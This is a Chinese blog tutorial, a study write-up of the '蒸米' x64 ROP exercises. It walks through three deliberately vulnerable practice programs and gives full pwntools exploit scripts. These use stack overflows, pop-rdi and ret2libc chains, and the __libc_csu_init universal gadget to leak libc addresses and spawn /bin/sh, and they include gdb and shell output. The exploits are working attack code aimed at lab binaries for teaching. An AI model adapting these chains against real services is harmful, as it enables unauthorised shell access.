蒸米X64

1:X86 X64主要区别

  • 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常
  • 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上

常见寄存器

64-bit             register Lower 32             bits Lower 16             bits Lower 8 bits
rax             eax                         ax                         al
rbx             ebx                         bx                         bl
rcx             ecx                         cx                         cl
rdx             edx                         dx                         dl
rsi             esi                         si                         sil
rdi             edi                         di                         dil
rbp             ebp                         bp                         bpl
rsp             esp                         sp                         spl
r8                 r8d                         r8w                     r8b
r9                 r9d                         r9w                     r9b
r10             r10d                         r10w                     r10b
r11             r11d                         r11w                     r11b
r12             r12d                         r12w                     r12b
r13             r13d                         r13w                     r13b
r14             r14d                         r14w                     r14b
r15             r15d                         r15w                     r15b

2:例子–level3

源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
    system("/bin/sh");
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

关闭 stack ,pie

gcc -fno-stack-protector -no-pie level3.c -o level3

分析

显然可以由vulnerable函数溢出控制跳转到callsystem函数就能执行system了

exp

from pwn import*

sh = process('./level3')
#callsystem:0x0000000000400577
#0x000000000040044e : ret
payload = 'a'*136 + p64(0x000000000040044e)+p64(0x0000000000400577)

#gdb.attach(sh)
sh.sendline(payload)

sh.interactive()

知道我为啥要在跳转callsystem时加一个ret吗,因为不这样做我在本地执行会出现堆栈不能对齐的错误。

结果

hunter@hunter:~/PWN/rop/蒸米rop/x64$ python level3.py 
[+] Starting local process './level3': pid 7213
[*] Switching to interactive mode
HELLO,WORLD
\x00$  

可以发现X64的栈溢出控制程序转跳和X86没啥区别,就是多注意堆栈不平衡

探究

前面提到,x64的可用地址不能大于0x00007fffffffffff,我们用这个程序试一下’

from pwn import*

sh = process('./level3')
#0x000000000040044e : ret
payload = 'a'*136 + 'AAAAAAAA'

gdb.attach(sh)
sh.sendline(payload)

sh.interactive()

在gdb直接c一直执行,结果:

RSP: 0x7fffffffde98 ("AAAAAAAA\n\337\377\377\377\177")
RIP: 0x4005aa (<vulnerable_function+32>:    ret)
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x3 
R11: 0x246 
R12: 0x400490 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdf90 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005a3 <vulnerable_function+25>:    call   0x400480 <read@plt>
   0x4005a8 <vulnerable_function+30>:    nop
   0x4005a9 <vulnerable_function+31>:    leave  
=> 0x4005aa <vulnerable_function+32>:    ret    
   0x4005ab <main>:    push   rbp
   0x4005ac <main+1>:    mov    rbp,rsp
   0x4005af <main+4>:    sub    rsp,0x10
   0x4005b3 <main+8>:    mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde98 ("AAAAAAAA\n\337\377\377\377\177")
0008| 0x7fffffffdea0 --> 0x7fffffffdf0a --> 0x8541000000000000 
0016| 0x7fffffffdea8 --> 0x100000000 
0024| 0x7fffffffdeb0 --> 0x4005f0 (<__libc_csu_init>:    push   r15)
0032| 0x7fffffffdeb8 --> 0x7ffff7a05b97 (<__libc_start_main+231>:    mov    edi,eax)
0040| 0x7fffffffdec0 --> 0x1 
0048| 0x7fffffffdec8 --> 0x7fffffffdf98 --> 0x7fffffffe2f7 ("./level3")
0056| 0x7fffffffded0 --> 0x100008000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005aa in vulnerable_function ()
gdb-peda$ 

停在了vulnerable函数的ret,因为此时可以看到rsp里面是我们的AAAAAAAA即0x4141414141414141大于0x00007fffffffffff所以不会跳转,而是停在ret。那么我们把地址调小

from pwn import*

sh = process('./level3')
#0x000000000040044e : ret
payload = 'a'*136 + 'ABCDEF\x00\x00'  #小端序\x00\x00会存在高地址
#payload = 'a'*136 + 'AAAAAAAA'
gdb.attach(sh)
sh.sendline(payload)

sh.interactive()

结果:

RSP: 0x7fffffffdea0 --> 0x7fffffffdf0a --> 0x1c80000000000000 
RIP: 0x464544434241 ('ABCDEF')
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x3 
R11: 0x246 
R12: 0x400490 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdf90 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x464544434241
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdea0 --> 0x7fffffffdf0a --> 0x1c80000000000000 
0008| 0x7fffffffdea8 --> 0x100000000 
0016| 0x7fffffffdeb0 --> 0x4005f0 (<__libc_csu_init>:    push   r15)
0024| 0x7fffffffdeb8 --> 0x7ffff7a05b97 (<__libc_start_main+231>:    mov    edi,eax)
0032| 0x7fffffffdec0 --> 0x1 
0040| 0x7fffffffdec8 --> 0x7fffffffdf98 --> 0x7fffffffe2f7 ("./level3")
0048| 0x7fffffffded0 --> 0x100008000 
0056| 0x7fffffffded8 --> 0x4005ab (<main>:    push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000464544434241 in ?? ()
gdb-peda$ 

成功跳转到0x0000464544434241即 \x00\x00ABCDEF
所以我们在ret地址的时候要注意这个问题可用地址不能大于0x00007fffffffffff

3:level4

在leve3的基础上把后门callsystem换成一个输出system地址的函数

源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
    void* handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    systemaddr();
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

同样关闭stack pie 还有因为用到了dlopen,dlsym函数要加上-ldl

gcc -fno-stack-protector -no-pie level4.c -o level4 -ldl

分析

这个程序会输出system地址那么在本地找到libc.so.6就可以计算出/bin/sh地址,再由vulnerable处的栈溢出控制程序执行system函数即可,但问题是X64函数的前6个参数依次放在对应寄存器中,对于system函数它只有一个参数(/bin/sh)那么就应该放在rdi里面。我们可以控制的只有栈中的数据,想让栈中的/bin/sh地址放到rdi中就得需要pop rdi 指令。
所以用ROPgadgates寻找这个指令。

hunter@hunter:~/PWN/rop/蒸米rop/x64$ ROPgadget --binary level4 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8

Unique gadgets found: 4

对level4文件搜寻没有看到,那么就对libc文件搜寻(本地提前准备好libc文件)

hunter@hunter:~/PWN/rop/蒸米rop/x64$ ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'
0x00000000000221a3 : pop rdi ; pop rbp ; ret
0x000000000002155f : pop rdi ; ret
0x000000000005b4fd : pop rdi ; ret 0x38

找到一个:0x000000000002155f : pop rdi ; ret 。
需要注意的是这个和在libc文件中找system,/bin/sh一样这个是偏移量,但我们不慌,知道system绝对地址就可以算出pop rid的地址.

exp

from pwn import*
context.log_level = 'debug'

libc = ELF('libc.so.6')

binsh_offset = libc.search('/bin/sh').next() - libc.symbols['system']
#0x000000000002155f : pop rdi ; ret
pop_ret_offset = 0x000000000002155f - libc.symbols['system']

sh = process('./level4')

print "##########get system########"
system_addr = int(sh.recvuntil('\n'),16)
print "##########the system########" + str(system_addr)

binsh_addr = system_addr + binsh_offset
print "##########the binsh########" + str(binsh_addr)

pop_ret_addr = system_addr + pop_ret_offset
print "##########the pop rdi ret########" +str(pop_ret_addr)

sh.recv()

#0x0000000000400585 : ret
payload1 = 'A'*136 + p64(0x0000000000400585) + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

#0x000000000012188b : pop rax ; pop rdi ; call rax
ppc_offset = 0x000000000012188b - libc.symbols['system']
ppc_addr = ppc_offset + system_addr
payload2 = 'A'*136 +p64(ppc_addr) + p64(system_addr) + p64(binsh_addr)

sh.sendline(payload2)

sh.interactive()

注意到,我的payload有两个都可行。payload1 就是我们首先想到的思路,还放了一个p64(0x0000000000400585),没错在执行system函数遇到了堆栈不平衡(日了狗了)
payload2 是想到了call指令来执行system函数(call 要放got地址)。pop rax 将system地址放入rax ,pop rdi将参数/bin/sh地址放入rdi,call rax:执行!(没有遇到堆栈步平衡问题,感觉以后可以多用call)

本地测试结果

[DEBUG] Received 0x1c bytes:
    '0x7ffff782f440\n'
    'Hello, World\n'
##########the system########140737345942592
##########the binsh########140737347403418
##########the pop rdi ret########140737345754463
[DEBUG] Sent 0xa1 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  8b 18 90 f7  ff 7f 00 00  │AAAA│AAAA│····│····│
    00000090  40 f4 82 f7  ff 7f 00 00  9a 3e 99 f7  ff 7f 00 00  │@···│····│·>··│····│
    000000a0  0a                                                  │·│
    000000a1
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

4:level5–通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。

level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:

源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

没错你只有read和write函数和蒸米X86的level3 是一样的

分析

可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。
因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。
我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d -Mintel level5观察一下__libc_csu_init()这个函数。
一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

00000000004005a0 <__libc_csu_init>:
  4005a0:    48 89 6c 24 d8           mov    QWORD PTR [rsp-0x28],rbp
  4005a5:    4c 89 64 24 e0           mov    QWORD PTR [rsp-0x20],r12
  4005aa:    48 8d 2d 73 08 20 00     lea    rbp,[rip+0x200873]        # 600e24 <__init_array_end>
  4005b1:    4c 8d 25 6c 08 20 00     lea    r12,[rip+0x20086c]        # 600e24 <__init_array_end>
  4005b8:    4c 89 6c 24 e8           mov    QWORD PTR [rsp-0x18],r13
  4005bd:    4c 89 74 24 f0           mov    QWORD PTR [rsp-0x10],r14
  4005c2:    4c 89 7c 24 f8           mov    QWORD PTR [rsp-0x8],r15
  4005c7:    48 89 5c 24 d0           mov    QWORD PTR [rsp-0x30],rbx
  4005cc:    48 83 ec 38              sub    rsp,0x38
  4005d0:    4c 29 e5                 sub    rbp,r12
  4005d3:    41 89 fd                 mov    r13d,edi
  4005d6:    49 89 f6                 mov    r14,rsi
  4005d9:    48 c1 fd 03              sar    rbp,0x3
  4005dd:    49 89 d7                 mov    r15,rdx
  4005e0:    e8 1b fe ff ff           call   400400 <_init>
  4005e5:    48 85 ed                 test   rbp,rbp
  4005e8:    74 1c                    je     400606 <__libc_csu_init+0x66>
  4005ea:    31 db                    xor    ebx,ebx
  4005ec:    0f 1f 40 00              nop    DWORD PTR [rax+0x0]
  4005f0:    4c 89 fa                 mov    rdx,r15              #关注点
  4005f3:    4c 89 f6                 mov    rsi,r14
  4005f6:    44 89 ef                 mov    edi,r13d
  4005f9:    41 ff 14 dc              call   QWORD PTR [r12+rbx*8]
  4005fd:    48 83 c3 01              add    rbx,0x1
  400601:    48 39 eb                 cmp    rbx,rbp
  400604:    75 ea                    jne    4005f0 <__libc_csu_init+0x50>
  400606:    48 8b 5c 24 08           mov    rbx,QWORD PTR [rsp+0x8]     #关注点从rsp+8开始读取栈中数据
  40060b:    48 8b 6c 24 10           mov    rbp,QWORD PTR [rsp+0x10]
  400610:    4c 8b 64 24 18           mov    r12,QWORD PTR [rsp+0x18]
  400615:    4c 8b 6c 24 20           mov    r13,QWORD PTR [rsp+0x20]
  40061a:    4c 8b 74 24 28           mov    r14,QWORD PTR [rsp+0x28]
  40061f:    4c 8b 7c 24 30           mov    r15,QWORD PTR [rsp+0x30]
  400624:    48 83 c4 38              add    rsp,0x38
  400628:    c3                       ret    
  400629:    0f 1f 80 00 00 00 00     nop    DWORD PTR [rax+0x0]

** 从4005f0开始:**
1 r15=>rdx,r14=>rsi ,r13d=>edi
2 call指令我们可以利用,即将rbx弄成0,r12放目标函数got地址
3 因为要执行上面rbx会变成0,add指令后rbx=1
4 cmp rbx,rbp如果相等就不会执行jne所以要把rbp设为1
5 然后是6个mov将从rsp+8开始把栈中数据放入,rbx,rbp,r12,r13,r14,r15
6 rsp往高地址移动0x38(56)字节即移动7次
7 ret用来控制跳转到4005f0目的是执行r12中的函数
所以先用栈溢出将程序跳到400606读取我们构造的payload最后ret到4005f0来执行r12中的函数,因为程序会继续往下走再次ret我们可以控制跳转到main函数,准备下一次攻击。

payload1

我们先构造payload1,利用write()输出write在内存中的地址。

#rdx=r15,rsi=r14,rdi=edi=r13d,r12=write_got,rbx=0,rbp=1 ret=0x4005f0  ##注释在这种长exp显得尤为重要
#write(rdi=1,rsi=write_got,rdx=8)
payload1 =  "\x00"*136   #NULL
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # 
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

payload2

用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。bss可用readelf -S level5获取

#rdx=r15,rsi=r14,rdi=edi=r13d,r12=read_got,rbx=0,rbp=1 ret=0x4005f0
#read(rdi=0,rsi=bss_addr,rdx=16)  16字节是读取system的地址还有字符串/bin/sh\x00
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) 
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

payload3

最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh\x00”保存在了.bss段首地址+8字节上。

#rdx=r15,rsi=r14,rdi=edi=r13d,r12=bss_addr,rbx=0,rbp=1 ret=0x4005f0
#system(rdi=bss_addr + 8) rsi=0 rdx=0
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) 
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

EXP(蒸米)

我本地测试遇到太多玄学问题了(很操蛋)

from pwn import *

elf = ELF('level5')
libc = ELF('libc.so.6')

p = process('./level5')
#p = remote('127.0.0.1',10001)

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x400564

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601028

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

蒸米原文:
要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。最终执行结果如下:

[+] Started program './level5'
got_write: 0x601000
got_read: 0x601008
off_system_addr: 0xa1c40

#############sending payload1#############

write_addr: 0x7f79d5779370
system_addr: 0x7f79d56d7730

#############sending payload2#############


#############sending payload3#############

[*] Switching to interactive mode
$ whoami
mzheng

5:总结

原来pwn的艺术不是explosion,而是gadgets链构造,这种艺术我等凡人无法欣赏


  转载请注明: Squarer 蒸米X64

 上一篇
wiki-canary绕过 wiki-canary绕过
1:介绍我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址
2020-07-12
下一篇 
偶遇栈平衡 偶遇栈平衡
1:我自己写的一个简单程序#include<stdio.h> #include<unistd.h> #include<stdlib.h> int main() { char s[50]; puts("wh
2020-07-08
  目录